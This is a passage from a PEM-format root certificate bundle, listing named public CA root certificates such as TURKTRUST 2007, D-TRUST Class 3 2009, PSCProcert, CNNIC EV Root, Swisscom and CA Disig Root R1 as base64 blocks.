rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw 93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU 3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM dcGWxZ0= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2007 ================================================= -----BEGIN CERTIFICATE----- MIIEPTCCAyWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV4wXAYDVQQKDFVUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgQXJhbMSxayAyMDA3MB4X DTA3MTIyNTE4MzcxOVoXDTE3MTIyMjE4MzcxOVowgb8xPzA9BgNVBAMMNlTDnFJLVFJVU1QgRWxl a3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsTELMAkGA1UEBhMCVFIxDzAN BgNVBAcMBkFua2FyYTFeMFwGA1UECgxVVMOcUktUUlVTVCBCaWxnaSDEsGxldGnFn2ltIHZlIEJp bGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7Fni4gKGMpIEFyYWzEsWsgMjAwNzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKu3PgqMyKVYFeaK7yc9SrToJdPNM8Ig3BnuiD9N YvDdE3ePYakqtdTyuTFYKTsvP2qcb3N2Je40IIDu6rfwxArNK4aUyeNgsURSsloptJGXg9i3phQv KUmi8wUG+7RP2qFsmmaf8EMJyupyj+sA1zU511YXRxcw9L6/P8JorzZAwan0qafoEGsIiveGHtya KhUG9qPw9ODHFNRRf8+0222vR5YXm3dx2KdxnSQM9pQ/hTEST7ruToK4uT6PIzdezKKqdfcYbwnT rqdUKDT74eA7YH2gvnmJhsifLfkKS8RQouf9eRbHegsYz85M733WB2+Y8a+xwXrXgTW4qhe04MsC AwEAAaNCMEAwHQYDVR0OBBYEFCnFkKslrxHkYb+j/4hhkeYO/pyBMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAQDdr4Ouwo0RSVgrESLFF6QSU2TJ/s Px+EnWVUXKgWAkD6bho3hO9ynYYKVZ1WKKxmLNA6VpM0ByWtCLCPyA8JWcqdmBzlVPi5RX9ql2+I aE1KBiY3iAIOtsbWcpnOa3faYjGkVh+uX4132l32iPwa2Z61gfAyuOOI0JzzaqC5mxRZNTZPz/OO Xl0XrRWV2N2y1RVuAE6zS89mlOTgzbUF2mNXi+WzqtvALhyQRNsaXRik7r4EW5nVcV9VZWRi1aKb BFmGyGJ353yCRWo9F7/snXUMrqNvWtMvmDb08PUZqxFdyKbjKlhqQgnDvZImZjINXQhVdP+MmNAK poRq0Tl9 -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 2009 ============================== -----BEGIN CERTIFICATE----- MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ 4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm 2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 EV 2009 ================================= -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T 7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60 sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35 11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+ PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv w9y4AyHqnxbxLFS1 -----END CERTIFICATE----- PSCProcert ========== -----BEGIN CERTIFICATE----- MIIJhjCCB26gAwIBAgIBCzANBgkqhkiG9w0BAQsFADCCAR4xPjA8BgNVBAMTNUF1dG9yaWRhZCBk ZSBDZXJ0aWZpY2FjaW9uIFJhaXogZGVsIEVzdGFkbyBWZW5lem9sYW5vMQswCQYDVQQGEwJWRTEQ MA4GA1UEBxMHQ2FyYWNhczEZMBcGA1UECBMQRGlzdHJpdG8gQ2FwaXRhbDE2MDQGA1UEChMtU2lz dGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMUMwQQYDVQQLEzpTdXBl cmludGVuZGVuY2lhIGRlIFNlcnZpY2lvcyBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMSUw IwYJKoZIhvcNAQkBFhZhY3JhaXpAc3VzY2VydGUuZ29iLnZlMB4XDTEwMTIyODE2NTEwMFoXDTIw MTIyNTIzNTk1OVowgdExJjAkBgkqhkiG9w0BCQEWF2NvbnRhY3RvQHByb2NlcnQubmV0LnZlMQ8w DQYDVQQHEwZDaGFjYW8xEDAOBgNVBAgTB01pcmFuZGExKjAoBgNVBAsTIVByb3ZlZWRvciBkZSBD ZXJ0aWZpY2Fkb3MgUFJPQ0VSVDE2MDQGA1UEChMtU2lzdGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZp Y2FjaW9uIEVsZWN0cm9uaWNhMQswCQYDVQQGEwJWRTETMBEGA1UEAxMKUFNDUHJvY2VydDCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANW39KOUM6FGqVVhSQ2oh3NekS1wwQYalNo97BVC wfWMrmoX8Yqt/ICV6oNEolt6Vc5Pp6XVurgfoCfAUFM+jbnADrgV3NZs+J74BCXfgI8Qhd19L3uA 3VcAZCP4bsm+lU/hdezgfl6VzbHvvnpC2Mks0+saGiKLt38GieU89RLAu9MLmV+QfI4tL3czkkoh RqipCKzx9hEC2ZUWno0vluYC3XXCFCpa1sl9JcLB/KpnheLsvtF8PPqv1W7/U0HU9TI4seJfxPmO EO8GqQKJ/+MMbpfg353bIdD0PghpbNjU5Db4g7ayNo+c7zo3Fn2/omnXO1ty0K+qP1xmk6wKImG2 0qCZyFSTXai20b1dCl53lKItwIKOvMoDKjSuc/HUtQy9vmebVOvh+qBa7Dh+PsHMosdEMXXqP+UH 0quhJZb25uSgXTcYOWEAM11G1ADEtMo88aKjPvM6/2kwLkDd9p+cJsmWN63nOaK/6mnbVSKVUyqU td+tFjiBdWbjxywbk5yqjKPK2Ww8F22c3HxT4CAnQzb5EuE8XL1mv6JpIzi4mWCZDlZTOpx+FIyw Bm/xhnaQr/2v/pDGj59/i5IjnOcVdo/Vi5QTcmn7K2FjiO/mpF7moxdqWEfLcU8UC17IAggmosvp r2uKGcfLFFb14dq12fy/czja+eevbqQ34gcnAgMBAAGjggMXMIIDEzASBgNVHRMBAf8ECDAGAQH/ AgEBMDcGA1UdEgQwMC6CD3N1c2NlcnRlLmdvYi52ZaAbBgVghl4CAqASDBBSSUYtRy0yMDAwNDAz Ni0wMB0GA1UdDgQWBBRBDxk4qpl/Qguk1yeYVKIXTC1RVDCCAVAGA1UdIwSCAUcwggFDgBStuyId xuDSAaj9dlBSk+2YwU2u06GCASakggEiMIIBHjE+MDwGA1UEAxM1QXV0b3JpZGFkIGRlIENlcnRp ZmljYWNpb24gUmFpeiBkZWwgRXN0YWRvIFZlbmV6b2xhbm8xCzAJBgNVBAYTAlZFMRAwDgYDVQQH EwdDYXJhY2FzMRkwFwYDVQQIExBEaXN0cml0byBDYXBpdGFsMTYwNAYDVQQKEy1TaXN0ZW1hIE5h Y2lvbmFsIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExQzBBBgNVBAsTOlN1cGVyaW50ZW5k ZW5jaWEgZGUgU2VydmljaW9zIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExJTAjBgkqhkiG 9w0BCQEWFmFjcmFpekBzdXNjZXJ0ZS5nb2IudmWCAQowDgYDVR0PAQH/BAQDAgEGME0GA1UdEQRG MESCDnByb2NlcnQubmV0LnZloBUGBWCGXgIBoAwMClBTQy0wMDAwMDKgGwYFYIZeAgKgEgwQUklG LUotMzE2MzUzNzMtNzB2BgNVHR8EbzBtMEagRKBChkBodHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52 ZS9sY3IvQ0VSVElGSUNBRE8tUkFJWi1TSEEzODRDUkxERVIuY3JsMCOgIaAfhh1sZGFwOi8vYWNy YWl6LnN1c2NlcnRlLmdvYi52ZTA3BggrBgEFBQcBAQQrMCkwJwYIKwYBBQUHMAGGG2h0dHA6Ly9v Y3NwLnN1c2NlcnRlLmdvYi52ZTBBBgNVHSAEOjA4MDYGBmCGXgMBAjAsMCoGCCsGAQUFBwIBFh5o dHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52ZS9kcGMwDQYJKoZIhvcNAQELBQADggIBACtZ6yKZu4Sq T96QxtGGcSOeSwORR3C7wJJg7ODU523G0+1ng3dS1fLld6c2suNUvtm7CpsR72H0xpkzmfWvADmN g7+mvTV+LFwxNG9s2/NkAZiqlCxB3RWGymspThbASfzXg0gTB1GEMVKIu4YXx2sviiCtxQuPcD4q uxtxj7mkoP3YldmvWb8lK5jpY5MvYB7Eqvh39YtsL+1+LrVPQA3uvFd359m21D+VJzog1eWuq2w1 n8GhHVnchIHuTQfiSLaeS5UtQbHh6N5+LwUeaO6/u5BlOsju6rEYNxxik6SgMexxbJHmpHmJWhSn FFAFTKQAVzAswbVhltw+HoSvOULP5dAssSS830DD7X9jSr3hTxJkhpXzsOfIt+FTvZLm8wyWuevo 5pLtp4EJFAv8lXrPj9Y0TzYS3F7RNHXGRoAvlQSMx4bEqCaJqD8Zm4G7UaRKhqsLEQ+xrmNTbSjq 3TNWOByyrYDT13K9mmyZY+gAu0F2BbdbmRiKw7gSXFbPVgx96OLP7bx0R/vu0xdOIk9W/1DzLuY5 poLWccret9W6aAjtmcz9opLLabid+Qqkpj5PkygqYWwHJgD/ll9ohri4zspV4KuxPX+Y1zMOWj3Y eMLEYC/HYvBhkdI4sPaeVdtAgAUSM84dkpvRabP/v/GSCmE1P93+hvS84Bpxs2Km -----END CERTIFICATE----- China Internet Network Information Center EV Certificates Root ============================================================== -----BEGIN CERTIFICATE----- MIID9zCCAt+gAwIBAgIESJ8AATANBgkqhkiG9w0BAQUFADCBijELMAkGA1UEBhMCQ04xMjAwBgNV BAoMKUNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyMUcwRQYDVQQDDD5D aGluYSBJbnRlcm5ldCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciBFViBDZXJ0aWZpY2F0ZXMg Um9vdDAeFw0xMDA4MzEwNzExMjVaFw0zMDA4MzEwNzExMjVaMIGKMQswCQYDVQQGEwJDTjEyMDAG A1UECgwpQ2hpbmEgSW50ZXJuZXQgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIxRzBFBgNVBAMM PkNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyIEVWIENlcnRpZmljYXRl cyBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm35z7r07eKpkQ0H1UN+U8i6y jUqORlTSIRLIOTJCBumD1Z9S7eVnAztUwYyZmczpwA//DdmEEbK40ctb3B75aDFk4Zv6dOtouSCV 98YPjUesWgbdYavi7NifFy2cyjw1l1VxzUOFsUcW9SxTgHbP0wBkvUCZ3czY28Sf1hNfQYOL+Q2H klY0bBoQCxfVWhyXWIQ8hBouXJE0bhlffxdpxWXvayHG1VA6v2G5BY3vbzQ6sm8UY78WO5upKv23 KzhmBsUs4qpnHkWnjQRmQvaPK++IIGmPMowUc9orhpFjIpryp9vOiYurXccUwVswah+xt54ugQEC 7c+WXmPbqOY4twIDAQABo2MwYTAfBgNVHSMEGDAWgBR8cks5x8DbYqVPm6oYNJKiyoOCWTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUfHJLOcfA22KlT5uqGDSSosqD glkwDQYJKoZIhvcNAQEFBQADggEBACrDx0M3j92tpLIM7twUbY8opJhJywyA6vPtI2Z1fcXTIWd5 0XPFtQO3WKwMVC/GVhMPMdoG52U7HW8228gd+f2ABsqjPWYWqJ1MFn3AlUa1UeTiH9fqBk1jjZaM 7+czV0I664zBechNdn3e9rG3geCg+aF4RhcaVpjwTj2rHO3sOdwHSPdj/gauwqRcalsyiMXHM4Ws ZkJHwlgkmeHlPuV1LI5D1l08eB6olYIpUNHRFrrvwb562bTYzB5MRuF3sTGrvSrIzo9uoV1/A3U0 5K2JRVRevq4opbs/eHnrc7MKDf2+yfdWrPa37S+bISnHOLaVxATywy39FCqQmbkHzJ8= -----END CERTIFICATE----- Swisscom Root CA 2 ================== -----BEGIN CERTIFICATE----- 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 5OfNeOI5wSsSnqaeG8XmDtkx2Q== -----END CERTIFICATE----- Swisscom Root EV CA 2 ===================== -----BEGIN CERTIFICATE----- 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 l8PVP3wbI+2ksx0WckNLIOFZfsLorSa/ovc= -----END CERTIFICATE----- CA Disig Root R1 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAMMDmu5QkG4oMA0GCSqGSIb3DQEBBQUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIxMB4XDTEyMDcxOTA5MDY1NloXDTQyMDcxOTA5MDY1NlowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCqw3j33Jijp1pedxiy 3QRkD2P9m5YJgNXoqqXinCaUOuiZc4yd39ffg/N4T0Dhf9Kn0uXKE5Pn7cZ3Xza1lK/oOI7bm+V8 u8yN63Vz4STN5qctGS7Y1oprFOsIYgrY3LMATcMjfF9DCCMyEtztDK3AfQ+lekLZWnDZv6fXARz2 m6uOt0qGeKAeVjGu74IKgEH3G8muqzIm1Cxr7X1r5OJeIgpFy4QxTaz+29FHuvlglzmxZcfe+5nk CiKxLU3lSCZpq+Kq8/v8kiky6bM+TR8noc2OuRf7JT7JbvN32g0S9l3HuzYQ1VTW8+DiR0jm3hTa YVKvJrT1cU/J19IG32PK/yHoWQbgCNWEFVP3Q+V8xaCJmGtzxmjOZd69fwX3se72V6FglcXM6pM6 vpmumwKjrckWtc7dXpl4fho5frLABaTAgqWjR56M6ly2vGfb5ipN0gTco65F97yLnByn1tUD3AjL LhbKXEAz6GfDLuemROoRRRw1ZS0eRWEkG4IupZ0zXWX4Qfkuy5Q/H6MMMSRE7cderVC6xkGbrPAX ZcD4XW9boAo0PO7X6oifmPmvTiT6l7Jkdtqr9O3jw2Dv1fkCyC2fg69naQanMVXVz0tv/wQFx1is XxYb5dKj6zHbHzMVTdDypVP1y+E9Tmgt2BLdqvLmTZtJ5cUoobqwWsagtQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUiQq0OJMa5qvum5EY+fU8PjXQ 04IwDQYJKoZIhvcNAQEFBQADggIBADKL9p1Kyb4U5YysOMo6CdQbzoaz3evUuii+Eq5FLAR0rBNR xVgYZk2C2tXck8An4b58n1KeElb21Zyp9HWc+jcSjxyT7Ff+Bw+r1RL3D65hXlaASfX8MPWbTx9B LxyE04nH4toCdu0Jz2zBuByDHBb6lM19oMgY0sidbvW9adRtPTXoHqJPYNcHKfyyo6SdbhWSVhlM CrDpfNIZTUJG7L399ldb3Zh+pE3McgODWF3vkzpBemOqfDqo9ayk0d2iLbYq/J8BjuIQscTK5Gfb 